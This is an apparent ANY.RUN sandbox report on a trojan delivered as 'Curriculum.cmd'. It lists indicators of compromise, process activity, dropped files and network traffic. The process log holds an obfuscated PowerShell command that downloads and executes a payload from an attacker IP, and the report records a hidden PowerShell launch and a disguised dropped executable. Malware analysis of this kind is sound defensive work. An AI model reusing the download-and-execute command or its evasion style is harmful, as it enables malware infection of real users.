analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Curriculum.cmd

Full analysis: https://app.any.run/tasks/975b4186-8e33-448d-9b05-7653fa6907b1
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: January 18, 2019, 13:14:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
evasion
Indicators:
MIME: text/plain
File info: Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
MD5:

F2C1A4DE94F1EA95DA4F6BC4615F7894

SHA1:

B73209789D93F731335E01541201333A48E8F9AD

SHA256:

025616E892737445F3326F2F436B4367A84CA74A70DCB7C3281240EC54305F76

SSDEEP:

24:QB/PPHvyCeIYVKXSEXUE9WU9aB3xV0ziMrA6eCmHEhmHEI1:OvvzeIrCzE9/6BK2MrA6KHEcHEI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3012)

    • Loads dropped or rewritten executable

      • nvsmartmaxapp.exe (PID: 3516)
      • wmplayer.exe (PID: 2936)

    • Loads the Task Scheduler COM API

      • powershell.exe (PID: 3388)

    • Writes to a start menu file

      • powershell.exe (PID: 3388)

    • Application was dropped or rewritten from another process

      • nvsmartmaxapp.exe (PID: 3516)

  • SUSPICIOUS

    • Starts Internet Explorer

      • cmd.exe (PID: 3012)

    • Application launched itself

      • cmd.exe (PID: 3012)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 3012)

    • Creates files in the user directory

      • powershell.exe (PID: 3388)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3388)

    • Checks for external IP

      • wmplayer.exe (PID: 2936)

  • INFO

    • Application launched itself

      • iexplore.exe (PID: 2228)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2416)

    • Changes internet zones settings

      • iexplore.exe (PID: 2228)

    • Creates files in the user directory

      • iexplore.exe (PID: 2416)
      • FlashUtil32_26_0_0_131_ActiveX.exe (PID: 2336)

    • Reads internet explorer settings

      • iexplore.exe (PID: 2416)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 2228)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3388)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
8
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start cmd.exe no specs iexplore.exe iexplore.exe cmd.exe no specs powershell.exe flashutil32_26_0_0_131_activex.exe no specs nvsmartmaxapp.exe no specs wmplayer.exe

Process information

PID
CMD
Path
Indicators
Parent process
3012cmd /c ""C:\Users\admin\AppData\Local\Temp\Curriculum.cmd" "C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2228"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2416"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2228 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3312C:\Windows\system32\cmd.exe /S /D /c" echo iEx("iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('http://18.228.235.246/1601.bmp')"); "C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3388WindowspOwErshEll\v1.0\pOwErshEll -nop -win 1 -C:\Windows\System32\WindowspOwErshEll\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2336C:\Windows\system32\Macromed\Flash\FlashUtil32_26_0_0_131_ActiveX.exe -EmbeddingC:\Windows\system32\Macromed\Flash\FlashUtil32_26_0_0_131_ActiveX.exe—svchost.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe® Flash® Player Installer/Uninstaller 26.0 r0
Version:
26,0,0,131
3516"C:\Users\admin\AppData\Roaming\mpUazzv\nvsmartmaxapp.exe" C:\Users\admin\AppData\Roaming\mpUazzv\nvsmartmaxapp.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
NVIDIA Smart Maximise Helper Host
Exit code:
0
Version:
6.14.10.100.03
2936"C:\Program Files\Windows Media Player\wmplayer.exe"C:\Program Files\Windows Media Player\wmplayer.exe
nvsmartmaxapp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Total events
1 080
Read events
941
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
10
Text files
48
Unknown types
8

Dropped files

PID
Process
Filename
Type
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IST26W0T8L1BRXP2YOMV.temp —
MD5:—
SHA256:—
2228iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico —
MD5:—
SHA256:—
2228iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2416iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\flashplayer[1].txt —
MD5:—
SHA256:—
2416iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\ie_fix[1].csstext
MD5:334EDD445DF7098324EDA10B783ACC24
SHA256:A02F730CD1029218360800F62A930618E2A53F802B77D6D3C808EBBCB2DD39FB
2416iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\string[1].jstext
MD5:76BBCBAC9DBD94C6DD84E74565D0BFDC
SHA256:577179405B67B7FB670407F53FE1113F4A293A1D634C12FFD49DB47415293B9B
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF246d70.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2416iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\core[1].jstext
MD5:0C95CC539315160D031BDE3529F86DDA
SHA256:E1CB6E4182E6D8D47942391FA116CD356013E94F0F975781E18F9C8D69888381
2416iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\U2ZG9DE0\selectBox[1].jstext
MD5:CC197C7051A5D1AFB6D8039089474D55
SHA256:BDD7BC051B2DB2786E4FAE0CB8DE1E068CFAA5524D61788942200E2C9200C5D3
2416iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@adobe[1].txttext
MD5:45AADB8698E4B265FF8832A2A36B1EC9
SHA256:067E992D82685FB83A5BE58C0E51D54F04C0902D9B057A73127E30C57ED40949
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
35
DNS requests
17
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3388
powershell.exe
GET
200
18.228.235.246:80
http://18.228.235.246/QHYXb.bmp
US
compressed
9.09 Mb
suspicious
2936
wmplayer.exe
GET
200
185.194.141.58:80
http://ip-api.com/json/
DE
text
310 b
shared
3388
powershell.exe
GET
200
18.228.235.246:80
http://18.228.235.246/1601.bmp
US
text
11.3 Kb
suspicious
2416
iexplore.exe
GET
200
67.27.158.254:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.2 Kb
whitelisted
2228
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
2416
iexplore.exe
GET
200
52.222.146.75:80
http://x.ss2.us/x.cer
US
der
1.27 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2416
iexplore.exe
192.147.130.63:443
get.adobe.com
Adobe Systems Inc.
US
whitelisted
2228
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
2416
iexplore.exe
23.211.0.20:443
assets.adobedtm.com
Akamai Technologies, Inc.
NL
whitelisted
2416
iexplore.exe
2.16.123.22:443
wwwimages2.adobe.com
Akamai International B.V.
—
whitelisted
2228
iexplore.exe
192.147.130.63:443
get.adobe.com
Adobe Systems Inc.
US
whitelisted
3388
powershell.exe
18.228.235.246:80
—
—
US
suspicious
2416
iexplore.exe
23.38.53.224:443
static-fonts.adobe.com
Akamai International B.V.
NL
whitelisted
2416
iexplore.exe
52.54.20.54:443
fonts.adobe.com
Amazon.com, Inc.
US
unknown
2416
iexplore.exe
172.82.236.67:443
sstats.adobe.com
Adobe Systems Inc.
US
whitelisted
2416
iexplore.exe
54.194.73.223:443
dpm.demdex.net
Amazon.com, Inc.
IE
unknown

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
get.adobe.com
  • 192.147.130.63
whitelisted
wwwimages2.adobe.com
  • 2.16.123.22
whitelisted
fonts.adobe.com
  • 52.54.20.54
  • 54.236.83.224
whitelisted
assets.adobedtm.com
  • 23.211.0.20
whitelisted
static-fonts.adobe.com
  • 23.38.53.224
whitelisted
dpm.demdex.net
  • 54.194.73.223
  • 52.31.211.225
  • 54.72.80.76
  • 34.255.28.155
  • 54.154.86.186
  • 54.76.193.55
  • 54.77.130.155
  • 63.32.166.115
whitelisted
p.typekit.net
  • 23.38.53.224
shared
sstats.adobe.com
  • 172.82.236.67
whitelisted
adobe.demdex.net
  • 54.246.133.167
  • 52.16.89.247
  • 52.51.131.19
  • 34.247.143.160
  • 52.17.182.129
  • 54.194.25.183
  • 34.249.86.253
  • 34.243.36.162
whitelisted

Threats

PID
Process
Class
Message
2936
wmplayer.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup ip-api.com
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Curriculum.cmd